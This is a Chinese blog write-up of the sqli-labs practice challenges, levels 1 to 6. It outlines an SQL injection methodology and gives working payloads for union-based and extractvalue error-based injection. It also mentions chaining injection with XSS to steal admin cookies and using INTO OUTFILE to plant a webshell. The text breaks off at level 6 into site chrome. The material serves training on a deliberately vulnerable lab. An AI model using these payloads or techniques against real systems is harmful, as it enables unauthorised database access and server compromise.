sqli-labs(1-30) 个人思路分享——SQL注入

本文详细介绍了在sqli-labs的1-30关中如何利用SQL注入技术进行攻击,从基础的报错注入、联合查询到复杂的二次注入和WAF绕过,通过 payload 分析了每关的解决策略,并提供了相关资源链接以深入学习。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

下载地址:https://github.com/Audi-1/sqli-labs

注入思路: 首先判断注入参数的提交方式,像get、post、cookie,如果没有在注入参数用正确注入方法等于在做无用功。再判断适用注入方式,注入效率优先级 有回显>报错回显>状态回显>无回显,对应的注入方式是联合查询、报错注入、布尔盲注、延时注入。在注入的过程中也需要考虑是否有过滤,如果判断可能存在过滤,那需要进行相应绕过处理,大小写,双写,宽字节等。或许有的地方存在sql注入,但在获取敏感数据时会关键字过滤,或者有相应权限限制,同样要考虑绕过和提权。sql注入也可以和xss联动,像往可能返回给管理员的数据注入xss语句,其实就相当于存储型xss。盗取cookie再找到后台,基本上离利用管理员权限进入后台不远了。sql注入中和shell相关的就是into fileout函数,能确定服务器路径、能写入木马、能访问,基本上就等于get一个webshell,当然还要考虑免杀等相关细节。

Page-1(Basic Challenges)

less-1

0x01
利用cc'key--+引起语句报错,发现报错中cc正常执行,于是猜测是单引号闭合。
0x02
利用order by判断,1' order by 3--+页面正常,1' order by 4--+页面不正常,推测出回显字段是3
0x03
使用联合查询判断回显字段0' union select 1,2,3--+
得到回显2,3。之后在2或3处注入带回显的语句即可。
payload:?id=0' union select 1,2,3 --+
如果想了解怎么继续获取数据库敏感数据,可以参考我另一篇博客:https://blog.youkuaiyun.com/CC__Faker/article/details/117970275

less-2

同样先令语句报错,判断出无需闭合
payload:?id=0 union select 1,2,3--+

less-3

令语句报错,判断出是 ') 闭合
payload:?id=0') union select 1,2,3--+--+

less-4

") 闭合
payload:?id=0") union select 1,2,3--+--+

less-5

第五关与前面不太一样,会出现报错回显,但无字段回显。
这里采用报错注入。下列语句报出数据库名
payload:?id='and(select extractvalue(1,concat('~',(select database()),'~')))--+
如果想了解怎么利用报错注入继续获取数据库敏感数据,可以参考我另一篇博客:https://blog.youkuaiyun.com/CC__Faker/article/details/118035305

less-6

利用报错判断闭合符号是 "
pa

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值